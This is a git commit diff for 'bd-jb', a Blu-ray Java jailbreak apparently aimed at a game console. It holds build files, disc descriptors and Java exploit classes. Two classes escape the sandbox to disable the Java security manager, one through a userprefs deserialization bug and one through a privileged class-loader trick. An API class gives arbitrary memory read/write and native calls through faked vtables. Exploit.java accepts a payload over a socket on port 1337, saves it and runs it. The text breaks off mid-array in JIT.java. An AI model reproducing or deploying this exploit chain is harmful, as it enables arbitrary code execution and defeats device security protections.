Initial commit.

This commit is contained in:
Andy Nguyen 2021-10-24 17:23:44 +02:00
commit 8f0a5539e8
37 changed files with 1834 additions and 0 deletions

8
.gitignore vendored Normal file
View File

@ -0,0 +1,8 @@
.idea/
tools/
lib/
disc/CERTIFICATE/id.bdmv
disc/BDMV/index.bdmv
disc/BDMV/MovieObject.bdmv
disc/BDMV/JAR/00000.jar
disc/BDMV/BDJO/00000.bdjo

21
LICENSE Normal file
View File

@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (C) 2021 Andy Nguyen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

34
Makefile Normal file
View File

@ -0,0 +1,34 @@
SRC = \
com/bdjb/ExploitXlet.java \
com/bdjb/Exploit.java \
com/bdjb/ExploitInterface.java \
com/bdjb/ExploitUserPrefsImpl.java \
com/bdjb/ExploitServiceProxyImpl.java \
com/bdjb/IxcProxyImpl.java \
com/bdjb/ServiceInterface.java \
com/bdjb/ServiceImpl.java \
com/bdjb/ProviderAccessorImpl.java \
com/bdjb/PayloadClassLoader.java \
com/bdjb/Payload.java \
com/bdjb/UnsafeInterface.java \
com/bdjb/UnsafeJdkImpl.java \
com/bdjb/UnsafeSunImpl.java \
com/bdjb/API.java \
com/bdjb/JIT.java \
com/bdjb/Screen.java \
all:
javac com/bdjb/PayloadClassLoaderSerializer.java && java com/bdjb/PayloadClassLoaderSerializer
javac -source 1.4 -target 1.4 -bootclasspath "lib/rt.jar:lib/bdjstack.jar:lib/fakejdk.jar" $(SRC)
jar cf disc/BDMV/JAR/00000.jar com/bdjb/*.class com/bdjb/*.ser com/bdjb/bluray.ExploitXlet.perm
java -cp "tools/security.jar:tools/bcprov-jdk15-137.jar:tools/tools.jar" net.java.bd.tools.security.BDSigner disc/BDMV/JAR/00000.jar
java -jar tools/bdjo.jar bdmv/bdjo.xml disc/BDMV/BDJO/00000.bdjo
java -jar tools/MovieObject.jar bdmv/MovieObject.xml disc/BDMV/MovieObject.bdmv
java -jar tools/index.jar bdmv/index.xml disc/BDMV/index.bdmv
java -jar tools/id.jar bdmv/id.xml disc/CERTIFICATE/id.bdmv
clean:
rm -rf *.class
rm -rf com/bdjb/*.class
rm -rf com/bdjb/*.ser
rm -rf META-INF

7
README.md Normal file
View File

@ -0,0 +1,7 @@
# bd-jb
The first bd-j hack.
# Credits
- bd-j tools from https://github.com/zathras/java.net

29
bdmv/MovieObject.xml Normal file
View File

@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<movieObjectFile>
<version>0200</version>
<movieObjects>
<movieObject mobjId="0">
<navigationCommands commandId="0">
<command>21810000 00000001 00000000</command>
</navigationCommands>
<terminalInfo>
<menuCallMask>false</menuCallMask>
<resumeIntentionFlag>false</resumeIntentionFlag>
<titleSearchMask>false</titleSearchMask>
</terminalInfo>
</movieObject>
<movieObject mobjId="1">
<navigationCommands commandId="0">
<command>21810000 00000001 00000000</command>
</navigationCommands>
<terminalInfo>
<menuCallMask>false</menuCallMask>
<resumeIntentionFlag>false</resumeIntentionFlag>
<titleSearchMask>false</titleSearchMask>
</terminalInfo>
</movieObject>
</movieObjects>
<extensionData/>
<paddingsN1>0</paddingsN1>
<paddingsN2>0</paddingsN2>
</movieObjectFile>

47
bdmv/bdjo.xml Normal file
View File

@ -0,0 +1,47 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<bdjo>
<appCacheInfo>
<entries>
<language>*.*</language>
<name>00000</name>
<type>1</type>
</entries>
</appCacheInfo>
<applicationManagementTable>
<applications>
<applicationDescriptor>
<baseDirectory>00000</baseDirectory>
<binding>TITLE_BOUND_DISC_BOUND</binding>
<classpathExtension></classpathExtension>
<iconFlags>0x0</iconFlags>
<iconLocator></iconLocator>
<initialClassName>com.bdjb.ExploitXlet</initialClassName>
<priority>128</priority>
<profiles>
<majorVersion>1</majorVersion>
<microVersion>0</microVersion>
<minorVersion>0</minorVersion>
<profile>1</profile>
</profiles>
<visibility>V_01</visibility>
</applicationDescriptor>
<applicationId>0x4000</applicationId>
<controlCode>0x1</controlCode>
<organizationId>0x56789abc</organizationId>
<type>0x1</type>
</applications>
</applicationManagementTable>
<fileAccessInfo>.</fileAccessInfo>
<keyInterestTable>0x0</keyInterestTable>
<tableOfAccessiblePlayLists>
<accessToAllFlag>false</accessToAllFlag>
<autostartFirstPlayListFlag>false</autostartFirstPlayListFlag>
</tableOfAccessiblePlayLists>
<terminalInfo>
<defaultFontFile>00000</defaultFontFile>
<initialHaviConfig>HD_1920_1080</initialHaviConfig>
<menuCallMask>false</menuCallMask>
<titleSearchMask>false</titleSearchMask>
</terminalInfo>
<version>V_0200</version>
</bdjo>

6
bdmv/id.xml Normal file
View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<id>
<discId>0x00000000000000000000000000000001</discId>
<orgId>0x56789abc</orgId>
<version>0200</version>
</id>

32
bdmv/index.xml Normal file
View File

@ -0,0 +1,32 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<index>
<appInfo/>
<extensionData/>
<indexes>
<firstPlayback>
<firstPlaybackObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
<HDMVName>0x0</HDMVName>
<playbackType>HDMVPlayback_MOVIE</playbackType>
</firstPlaybackObject>
</firstPlayback>
<topMenu>
<topMenuObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
<HDMVName>0x1</HDMVName>
<playbackType>HDMVPlayback_INTERACTIVE</playbackType>
</topMenuObject>
</topMenu>
<titles>
<title>
<indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject">
<BDJOName>00000</BDJOName>
<playbackType>BDJPlayback_MOVIE</playbackType>
</indexObject>
<titleAccessType>V_00</titleAccessType>
</title>
</titles>
</indexes>
<paddingN1>0</paddingN1>
<paddingN2>0</paddingN2>
<paddingN3>0</paddingN3>
<version>0200</version>
</index>

569
com/bdjb/API.java Normal file
View File

@ -0,0 +1,569 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/** API class to access native data and execute native code. */
final class API {
static final int INT8_SIZE = 1;
static final int INT16_SIZE = 2;
static final int INT32_SIZE = 4;
static final int INT64_SIZE = 8;
static final long RTLD_DEFAULT = -2;
static final long LIBC_MODULE_HANDLE = 0x2;
static final long LIBKERNEL_MODULE_HANDLE = 0x2001;
static final long LIBJAVA_MODULE_HANDLE = 0x4A;
private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING =
"Unsupported dlopen() operation";
private static final String SETJMP_SYMBOL = "setjmp";
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
"Java_java_lang_reflect_Array_multiNewArray";
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J";
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary";
private static final String FIND_ENTRY_METHOD_NAME = "findEntry";
private static final String FIND_METHOD_NAME = "find";
private static final String HANDLE_FIELD_NAME = "handle";
private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1};
private static final String VALUE_FIELD_NAME = "value";
private static final Long LONG_VALUE = new Long(1337);
private static API instance;
private UnsafeInterface unsafe;
private long longValueOffset;
private Object nativeLibrary;
private Method findMethod;
private Field handleField;
private long executableHandle;
private long Java_java_lang_reflect_Array_multiNewArray;
private long JVM_NativePath;
private long __Ux86_64_setcontext;
private long setjmp;
private boolean jdk11;
private API() throws Exception {
this.init();
}
static synchronized API getInstance() throws Exception {
if (instance == null) {
instance = new API();
}
return instance;
}
private native long multiNewArray(Class componentType, int[] dimensions);
private void init() throws Exception {
initUnsafe();
initDlsym();
initSymbols();
initApiCall();
}
private void initUnsafe() throws Exception {
try {
unsafe = new UnsafeSunImpl();
jdk11 = false;
} catch (ClassNotFoundException e) {
unsafe = new UnsafeJdkImpl();
jdk11 = true;
}
longValueOffset = unsafe.objectFieldOffset(Long.class.getDeclaredField(VALUE_FIELD_NAME));
}
private void initDlsym() throws Exception {
Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME);
if (jdk11) {
findMethod =
nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class});
} else {
findMethod =
nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class});
}
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME);
findMethod.setAccessible(true);
handleField.setAccessible(true);
Constructor nativeLibraryConstructor =
nativeLibraryClass.getDeclaredConstructor(
new Class[] {Class.class, String.class, boolean.class});
nativeLibraryConstructor.setAccessible(true);
nativeLibrary =
nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)});
}
private void initSymbols() {
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
if (JVM_NativePath == 0) {
throw new IllegalArgumentException("JVM_NativePath symbol could not be found.");
}
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
if (__Ux86_64_setcontext == 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
executableHandle = JVM_NativePath & ~(4 - 1);
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
executableHandle += 4;
}
executableHandle -= 4;
// Try again.
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
}
if (__Ux86_64_setcontext == 0) {
throw new IllegalArgumentException("__Ux86_64_setcontext symbol could not be found.");
}
if (jdk11) {
Java_java_lang_reflect_Array_multiNewArray =
dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
} else {
Java_java_lang_reflect_Array_multiNewArray =
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
}
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
throw new IllegalArgumentException(
"Java_java_lang_reflect_Array_multiNewArray symbol could not be found.");
}
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
if (setjmp == 0) {
throw new IllegalArgumentException("setjmp symbol could not be found.");
}
}
private void initApiCall() {
long apiInstance = addrof(this);
long apiKlass = read64(apiInstance + 0x08);
if (jdk11) {
long methods = read64(apiKlass + 0x170);
int numMethods = read32(methods + 0x00);
for (int i = 0; i < numMethods; i++) {
long method = read64(methods + 0x08 + i * 8);
long constMethod = read64(method + 0x08);
long constants = read64(constMethod + 0x08);
short nameIndex = read16(constMethod + 0x2A);
short signatureIndex = read16(constMethod + 0x2C);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
short nameLength = read16(nameSymbol + 0x00);
short signatureLength = read16(signatureSymbol + 0x00);
String name = readString(nameSymbol + 0x06, nameLength);
String signature = readString(signatureSymbol + 0x06, signatureLength);
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray);
return;
}
}
} else {
long methods = read64(apiKlass + 0xC8);
int numMethods = read32(methods + 0x10);
for (int i = 0; i < numMethods; i++) {
long method = read64(methods + 0x18 + i * 8);
long constMethod = read64(method + 0x10);
long constants = read64(method + 0x18);
short nameIndex = read16(constMethod + 0x42);
short signatureIndex = read16(constMethod + 0x44);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
short nameLength = read16(nameSymbol + 0x08);
short signatureLength = read16(signatureSymbol + 0x08);
String name = readString(nameSymbol + 0x0A, nameLength);
String signature = readString(signatureSymbol + 0x0A, signatureLength);
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray);
return;
}
}
}
throw new IllegalArgumentException("Native method could not be installed.");
}
private void buildContext(
long contextData,
long setJmpData,
long rip,
long rdi,
long rsi,
long rdx,
long rcx,
long r8,
long r9) {
long rbx = read64(setJmpData + 0x08);
long rsp = read64(setJmpData + 0x10);
long rbp = read64(setJmpData + 0x18);
long r12 = read64(setJmpData + 0x20);
long r13 = read64(setJmpData + 0x28);
long r14 = read64(setJmpData + 0x30);
long r15 = read64(setJmpData + 0x38);
write64(contextData + 0x48, rdi);
write64(contextData + 0x50, rsi);
write64(contextData + 0x58, rdx);
write64(contextData + 0x60, rcx);
write64(contextData + 0x68, r8);
write64(contextData + 0x70, r9);
write64(contextData + 0x80, rbx);
write64(contextData + 0x88, rbp);
write64(contextData + 0xA0, r12);
write64(contextData + 0xA8, r13);
write64(contextData + 0xB0, r14);
write64(contextData + 0xB8, r15);
write64(contextData + 0xE0, rip);
write64(contextData + 0xF8, rsp);
write64(contextData + 0x110, 0x41414141);
write64(contextData + 0x118, 0x41414141);
}
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
long fakeCallKlass = malloc(0x400);
memset(fakeCallKlass, 0, 0x400);
long fakeCallKlassVtable = malloc(0x400);
for (int i = 0; i < 0x400; i += 8) {
write64(fakeCallKlassVtable + i, JVM_NativePath);
}
long ret = 0;
if (jdk11) {
long callClass = addrof(Call.class);
long callKlass = read64(callClass + 0x98);
write64(fakeCallKlassVtable + 0x158, setjmp);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(callClass + 0x98, fakeCallKlass);
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
buildContext(
fakeCallKlass + 0x00, fakeCallKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
write64(fakeCallKlassVtable + 0x158, __Ux86_64_setcontext);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(callClass + 0x98, fakeCallKlass);
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
write64(callClass + 0x98, callKlass);
} else {
long callClass = addrof(Call.class);
long callKlass = read64(callClass + 0x68);
write64(fakeCallKlassVtable + 0x230, setjmp);
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
write64(callClass + 0x68, fakeCallKlass);
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
buildContext(
fakeCallKlass + 0x20, fakeCallKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
write64(fakeCallKlassVtable + 0x230, __Ux86_64_setcontext);
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
write64(callClass + 0x68, fakeCallKlass);
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
write64(callClass + 0x68, callKlass);
}
free(fakeCallKlassVtable);
free(fakeCallKlass);
if (ret == 0) {
return 0;
}
return read64(ret);
}
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0);
}
long call(long func, long arg0, long arg1, long arg2, long arg3) {
return call(func, arg0, arg1, arg2, arg3, (long) 0);
}
long call(long func, long arg0, long arg1, long arg2) {
return call(func, arg0, arg1, arg2, (long) 0);
}
long call(long func, long arg0, long arg1) {
return call(func, arg0, arg1, (long) 0);
}
long call(long func, long arg0) {
return call(func, arg0, (long) 0);
}
long call(long func) {
return call(func, (long) 0);
}
long dlsym(long handle, String symbol) {
int oldHandle = (int) RTLD_DEFAULT;
try {
if (executableHandle != 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
oldHandle = read32(executableHandle);
write32(executableHandle, (int) handle);
handleField.setLong(nativeLibrary, RTLD_DEFAULT);
} else {
handleField.setLong(nativeLibrary, handle);
}
return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue();
} catch (Exception e) {
return 0;
} finally {
if (executableHandle != 0) {
write32(executableHandle, oldHandle);
}
}
}
long addrof(Object obj) {
try {
unsafe.putObject(LONG_VALUE, longValueOffset, obj);
return unsafe.getLong(LONG_VALUE, longValueOffset);
} catch (Exception e) {
return 0;
}
}
byte read8(long addr) {
return unsafe.getByte(addr);
}
short read16(long addr) {
return unsafe.getShort(addr);
}
int read32(long addr) {
return unsafe.getInt(addr);
}
long read64(long addr) {
return unsafe.getLong(addr);
}
void write8(long addr, byte val) {
unsafe.putByte(addr, val);
}
void write16(long addr, short val) {
unsafe.putShort(addr, val);
}
void write32(long addr, int val) {
unsafe.putInt(addr, val);
}
void write64(long addr, long val) {
unsafe.putLong(addr, val);
}
long malloc(long size) {
return unsafe.allocateMemory(size);
}
long realloc(long ptr, long size) {
return unsafe.reallocateMemory(ptr, size);
}
void free(long ptr) {
unsafe.freeMemory(ptr);
}
long memcpy(long dest, long src, long n) {
for (int i = 0; i < n; i++) {
write8(dest + i, read8(src + i));
}
return dest;
}
long memcpy(long dest, byte[] src, long n) {
for (int i = 0; i < n; i++) {
write8(dest + i, src[i]);
}
return dest;
}
byte[] memcpy(byte[] dest, long src, long n) {
for (int i = 0; i < n; i++) {
dest[i] = read8(src + i);
}
return dest;
}
long memset(long s, int c, long n) {
for (int i = 0; i < n; i++) {
write8(s + i, (byte) c);
}
return s;
}
byte[] memset(byte[] s, int c, long n) {
for (int i = 0; i < n; i++) {
s[i] = (byte) c;
}
return s;
}
int memcmp(long s1, long s2, long n) {
for (int i = 0; i < n; i++) {
byte b1 = read8(s1 + i);
byte b2 = read8(s2 + i);
if (b1 != b2) {
return (int) b1 - (int) b2;
}
}
return 0;
}
int memcmp(long s1, byte[] s2, long n) {
for (int i = 0; i < n; i++) {
byte b1 = read8(s1 + i);
byte b2 = s2[i];
if (b1 != b2) {
return (int) b1 - (int) b2;
}
}
return 0;
}
int memcmp(byte[] s1, long s2, long n) {
return memcmp(s2, s1, n);
}
int strcmp(long s1, long s2) {
int i = 0;
while (true) {
byte b1 = read8(s1 + i);
byte b2 = read8(s2 + i);
if (b1 != b2) {
return (int) b1 - (int) b2;
}
if (b1 == (byte) 0 && b2 == (byte) 0) {
return 0;
}
i++;
}
}
int strcmp(long s1, String s2) {
byte[] bytes = toCBytes(s2);
int i = 0;
while (true) {
byte b1 = read8(s1 + i);
byte b2 = bytes[i];
if (b1 != b2) {
return (int) b1 - (int) b2;
}
if (b1 == (byte) 0 && b2 == (byte) 0) {
return 0;
}
i++;
}
}
int strcmp(String s1, long s2) {
return strcmp(s2, s1);
}
long strcpy(long dest, long src) {
int i = 0;
while (true) {
byte ch = read8(src + i);
write8(dest + i, ch);
if (ch == (byte) 0) {
break;
}
i++;
}
return dest;
}
long strcpy(long dest, String src) {
byte[] bytes = toCBytes(src);
int i = 0;
while (true) {
byte ch = bytes[i];
write8(dest + i, ch);
if (ch == (byte) 0) {
break;
}
i++;
}
return dest;
}
String readString(long src, int n) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
int i = 0;
while (true) {
byte ch = read8(src + i);
if (ch == (byte) 0 || i == n) {
break;
}
outputStream.write(new byte[] {ch}, 0, 1);
i++;
}
return outputStream.toString();
}
String readString(long src) {
return readString(src, -1);
}
byte[] toCBytes(String str) {
byte[] bytes = new byte[str.length() + 1];
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
return bytes;
}
private final class Call {}
}

87
com/bdjb/Exploit.java Normal file
View File

@ -0,0 +1,87 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.net.ServerSocket;
class Exploit implements Runnable {
static void init() {
Screen.println("[+] bd-jb by theflow");
Screen.println("[*] Disabling security manager...");
ExploitInterface[] exploits =
new ExploitInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()};
for (int i = 0; i < exploits.length; i++) {
try {
exploits[i].trigger();
if (System.getSecurityManager() == null) {
break;
}
} catch (Exception e) {
continue;
}
}
if (System.getSecurityManager() != null) {
Screen.println("[-] Error could not disable security manager.");
}
}
static void start() {
new Thread(new Exploit()).start();
}
public void run() {
if (System.getSecurityManager() != null) {
return;
}
try {
Screen.println("[*] Installing native API...");
API api = API.getInstance();
Screen.println("[*] Enabling JIT...");
JIT jit = JIT.getInstance();
Screen.println("[*] Waiting for payload...");
ServerSocket serverSocket = new ServerSocket(1337);
Socket socket = serverSocket.accept();
Screen.println("[*] Downloading payload...");
InputStream inputStream = socket.getInputStream();
OutputStream outputStream = new FileOutputStream("/OS/HDD/download0/mnt_ada/payload.bin");
byte[] buf = new byte[8192];
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
}
outputStream.close();
inputStream.close();
socket.close();
Screen.println("[*] Executing payload...");
long sceKernelDlsym = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym");
long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin");
int ret = (int) api.call(payload, sceKernelDlsym);
Screen.println("[+] Result: " + Integer.toHexString(ret));
} catch (Exception e) {
Screen.println("[-] Error: " + e.getCause());
}
}
}

View File

@ -0,0 +1,12 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
interface ExploitInterface {
public void trigger() throws Exception;
}

View File

@ -0,0 +1,60 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.Security;
import java.security.Provider;
/** Implementation of the service+proxy exploit. */
class ExploitServiceProxyImpl implements ExploitInterface {
private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service";
private static final String NEW_INSTANCE_METHOD_NAME = "newInstance";
private static final String NEW_INSTANCE_METHOD_SIGNATURE =
"(Ljava/lang/Object;)Ljava/lang/Object;";
private static final String JAR_URL =
"file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar";
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";
public void trigger() throws Exception {
// Throw exception if class does not exist.
Class.forName(SERVICE_CLASS_NAME);
IxcProxyImpl proxy = IxcProxyImpl.getInstance();
// Prepare service object with the class to be instantiated.
Provider[] providers = Security.getProviders();
ServiceImpl service =
new ServiceImpl(
providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null);
ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers);
providerAccessor.putService(providers[0], service);
providerAccessor.setProviderAccessor();
// Instantiate the URLClassLoader class with privileges and a vulnerable path.
URL[] urls = new URL[] {new URL(JAR_URL)};
URLClassLoader urlClassLoader =
(URLClassLoader)
proxy.invokeMethod(
service,
NEW_INSTANCE_METHOD_NAME,
NEW_INSTANCE_METHOD_SIGNATURE,
new Object[] {urls});
// Instantiate the payload class with all permissions to disable the security manager.
Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME);
payloadClass.newInstance();
}
}

View File

@ -0,0 +1,56 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.FileOutputStream;
import org.havi.ui.HSceneFactory;
/** Implementation of the userprefs deserialization exploit. */
class ExploitUserPrefsImpl implements ExploitInterface {
private static final String MNT_ADA_USERPREFS = "/OS/HDD/download0/mnt_ada/userprefs";
private static final String PAYLOAD_CLASS_LOADER_SER = "/com/bdjb/PayloadClassLoader.ser";
public void trigger() throws Exception {
try {
// Overwrite userprefs with a serialized PayloadClassLoader.
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER);
OutputStream outputStream = new FileOutputStream(MNT_ADA_USERPREFS);
byte[] buf = new byte[8192];
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
}
outputStream.close();
inputStream.close();
// Trigger deserialization vulnerability.
try {
HSceneFactory.getInstance().getDefaultHScene();
} catch (ClassCastException e) {
// Exception expected.
// Instantiate the payload class.
PayloadClassLoader.getInstance().newPayload();
}
} finally {
// Restore userprefs file.
String[][] preferences = new String[9][];
preferences[3] = new String[] {"26"};
ObjectOutputStream outputStream =
new ObjectOutputStream(new FileOutputStream(MNT_ADA_USERPREFS));
outputStream.writeObject(preferences);
outputStream.close();
}
}
}

45
com/bdjb/ExploitXlet.java Normal file
View File

@ -0,0 +1,45 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.awt.BorderLayout;
import javax.tv.xlet.Xlet;
import javax.tv.xlet.XletContext;
import org.havi.ui.HScene;
import org.havi.ui.HSceneFactory;
public class ExploitXlet implements Xlet {
private HScene scene;
private Screen screen;
public void initXlet(XletContext context) {
Exploit.init();
screen = Screen.getInstance();
screen.setSize(1920, 1080); // BD screen size
scene = HSceneFactory.getInstance().getDefaultHScene();
scene.add(screen, BorderLayout.CENTER);
scene.validate();
}
public void startXlet() {
screen.setVisible(true);
scene.setVisible(true);
Exploit.start();
}
public void pauseXlet() {
screen.setVisible(false);
}
public void destroyXlet(boolean unconditional) {
scene.remove(screen);
scene = null;
}
}

View File

@ -0,0 +1,50 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import com.sony.gemstack.core.CoreAppContext;
import com.sony.gemstack.core.CoreIxcClassLoader;
import com.sony.gemstack.org.dvb.io.ixc.IxcProxy;
import java.rmi.RemoteException;
/** IxcProxy implementation that allows certain public methods to be invoked with privileges. */
class IxcProxyImpl extends IxcProxy {
private static IxcProxyImpl instance;
private Object remote;
private IxcProxyImpl(CoreIxcClassLoader localClassLoader, CoreIxcClassLoader remoteClassLoader) {
super(localClassLoader, remoteClassLoader);
}
static synchronized IxcProxyImpl getInstance() {
if (instance == null) {
CoreIxcClassLoader coreIxcClassLoader = CoreAppContext.getContext().getIxcClassLoader();
instance = new IxcProxyImpl(coreIxcClassLoader, coreIxcClassLoader);
}
return instance;
}
public Object getRemote() {
return remote;
}
public void forgetRemote() {}
/** Override to avoid serializing the return object. */
protected Object replaceObject(Object obj, CoreIxcClassLoader coreIxcClassLoader)
throws RemoteException {
return obj;
}
public Object invokeMethod(Object obj, String name, String signature, Object[] args)
throws Exception {
this.remote = obj;
return super.invokeMethod(args, name, signature);
}
}

160
com/bdjb/JIT.java Normal file
View File

@ -0,0 +1,160 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.RandomAccessFile;
/**
* JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to
* executable memory.
*/
final class JIT {
static final int BDJ_MODULE_HANDLE = 0;
static final int MAX_JIT_SIZE = 24 * 1024 * 1024; // Actually max is 30MB, but let's be safe.
static final int PAGE_SIZE = 0x4000;
static final int ALIGNMENT = 0x100000;
private static final int CHUNK_SIZE = 0x30;
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58;
private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA;
private static final byte[] BUFFER_BLOB_CREATE_SEQ = {
(byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F
};
private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = {
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41
